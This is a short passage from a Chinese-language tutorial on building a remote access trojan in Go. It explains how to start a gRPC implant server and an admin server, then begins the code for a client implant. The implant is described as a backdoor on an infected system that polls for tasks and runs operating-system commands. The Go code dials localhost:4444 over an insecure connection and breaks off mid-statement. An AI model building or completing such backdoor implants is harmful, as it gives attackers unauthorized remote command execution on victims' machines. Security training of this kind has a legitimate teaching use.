构建和优化远程访问木马(RAT)
1. 搭建服务器
首先启动服务器,在 goroutine 中调用 grpcImplantServer.Serve(implantListener)
来防止代码阻塞,同时调用 grpcAdminServer.Serve(adminListener)
启动管理服务器。启动服务器的命令如下:
go run server/server.go
此时服务器已启动,但没有与之交互的程序,不会有实际操作发生。接下来,我们将构建客户端植入程序。
2. 创建客户端植入程序
客户端植入程序设计用于在受感染的系统上运行,作为一个后门,可执行操作系统命令。它会定期向服务器轮询任务,如果没有任务则等待,有任务则执行并将输出返回给服务器。以下是植入程序的代码:
func main() {
var
(
opts []grpc.DialOption
conn *grpc.ClientConn
err error
client grpcapi.ImplantClient ❶
)
opts = append(opts, grpc.WithInsecure())
if conn, err = grpc.Dial(fmt.Sprintf("localhost:%d", 4444), opts...); err != nil {